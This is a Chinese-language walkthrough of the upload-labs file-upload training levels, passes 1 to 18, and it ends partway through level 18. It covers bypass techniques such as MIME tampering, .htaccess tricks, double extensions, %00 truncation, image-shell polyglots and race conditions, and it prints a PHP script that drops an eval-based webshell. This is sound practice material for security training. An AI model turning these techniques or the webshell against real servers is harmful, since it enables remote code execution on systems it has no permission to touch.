练练文件上传

pass-01(前端验证)

image-20250728204908075

前端判断了文件类型

可以直接利用bp拦截抓包改包

这里我们直接利用浏览器控制台让他这个函数直接返回true

1
checkFile = function() { return true; };

控制台直接执行

image-20250728205240835

直接上传php文件即可

pass-02(MIME验证)

image-20250728205753347

image-20250728205833948

这里只进行了文件类型的判断,用户可以通过改包的方式,用户可控

pass-03(黑名单验证,特殊后缀)

image-20250728205329018

黑名单。直接上传.htaccess 强制解析jpg文件,或者上传php3,php4,或者phtml,他这里应该是考后者

image-20250728205626972

可以解析

pass-04(黑名单验证,.htaccess)

image-20250728205936310

还是黑名单,过滤了一堆

这里也没有过滤我们的.htaccess 可以进行解析jpg文件

但是这里他还有一个逻辑漏洞,可以绕过他这个过滤

他没有提前对我们上传的文件进行重命名操作,所以我们可以利用双重拓展名来绕过前面的一系列操作

类似于我们传shell.php.jpg

image-20250728210846616

pass-05(大小写绕过)

image-20250728211012033

第一眼跟第四关没区别。看了下提示发现

image-20250728211153202

禁用了我们的.htaccess ,所以我们依然可以用双拓展名绕过

也可以上传.user.ini 解析我们上传的jpg

pass-06(黑名单验证,.user.ini.)image-20250728211347095

没看出来区别

image-20250728211533211

他又放开了.htaccess

而且我们的双拓展名依旧可以绕过

pass-07

image-20250728211627548

image-20250728211645405

依旧双拓展名绕过

pass-08(黑名单验证,特殊字符::$DATA绕过)

image-20250728211714737

shell.php::$DATA

依旧双拓展名绕过

pass-09

image-20250728211758766

依旧双拓展名绕过

pass-10

image-20250728211832976

依旧双拓展名绕过

或者

shell.php::$DATA

pass-11(%00截断)

终于用上白名单了

image-20250728213248089

可以看到这里用户可以控制上传的路径

考虑用%00截断

因为在c语言的底层/0 代表终止 ,php的底层代码就是c语言,%00 urldecode 就是/0 所以可以截断

1
?save_path=../upload/1.php%00 

pass-12

image-20250728213947630

刚刚是get传参,这次是post,一样的道理

%00截断

post我们需要在十六进制里面去修改

image-20250728214415328

pass-13 图片马

image-20250728214449370

图片马,加文件包含

直接上传即可

他这里取了前两个字节,我们要保证我们的图片马 开头是 .PNG. GIF89a 等

然后文件包含直接利用即可

pass-14

image-20250728214822738

一样的跟13关

pass-15

image-20250728214913814

我们的图片马经过了精心的处理。所以这个我们也可以直接上传

pass-16

image-20250728215059818

这里他把我们的图片经过了二次渲染后在进行判断。所以我们要保证我们的图片在二次渲染后php代码还存在

我们可以随便先上传一个图片

然后将上传的图片下载下来,用010editor 观察两张图片前后未变化的部分,然后在这部分插入我们的php代码

推荐用GIF图片

22

pass-17

image-20250728221203081

代码处理流程

  • 移动文件到指定路径
  • 判断文件后缀是否符合
  • 符合则重命名
  • 不符合则删除文件

这里存在逻辑的问题,先移动文件到指定目录再判断是否符合并删除。服务器处理代码时总会存在一定的时间差,当我们在上传文件后就多次快速尝试访问目标文件,那么是不是有机会在删除前成功访问文件。而如果文件的代码是重新创建一个木马文件,新木马文件则永远不会被删除了!

1
2
3
4
5
6
7
<?php

$webshell = '<?php @eval($_POST["1"]); ?>';
file_put_contents('1.php', $webshell);
echo "Webshell created as 1.php";
?>

image-20250728222022730

pass-18条件竞争+apache解析漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
};

在index.php中,首先new了一个MyUpload类,传入了上传的文件名,临时名,文件大小,随机time名(这个随机time和文件最终名字有关)

image-20250728222746421

然后传入UPLOAD_PATH给upload函数(也就是吧../upload传入),那么我们得看看类里面的代码才知道具体发生了什么。。

image-20250728222706668

对类初始化的时候调用Myupload函数,传入对应参数赋值

在upload函数中,是先进行文件路径、后缀、大小判断,然后文件移动、重命名。这里就出现很经典的逻辑问题了,先移动再重命令,就可以利用条件竞争对其进行访问。

可是问题出现了,其对文件上传后缀进行了检验,只能白名单上传

这里就要配合到apache的解析漏洞,在apache版本符合条件下,对mime.types中没有涉及的文件后缀不会解析,查看httpd.conf文件下的mime.types,没有发现7z后缀,说明不会解析7z文件

image-20250728223000837

比如test.php.7z这个文件,apache的解析是从后往前,当7z不能解析时,其向前解析一直到可以解析的后缀为止,所以将test.php.7z当作test.php执行。但是文件后缀上传后还是test.php.7z全称吗?看看代码,经过rename之后,文件名被修改为upload+time()函数的值+最后一个小数点后的后缀名,即变成了upload+time.7z这样,没有php了我们如何利用?

image-20250728223105384

这里就需要配合刚才说的条件竞争漏洞了,在rename之前是move操作,move后的极短时间内是没有rename的,我们通过频发发包访问达到目的。这里需要提一下,这关的文件上传目录不是在upload目录下,应该是作者不小心忽略的原因,所以会导致文件名中有个upload,但是不影响做题,如果想修改为upload目录下,则需要在rename函数中添加/即可

我们原题吧

开始抓包

一个为上传包,一个为访问包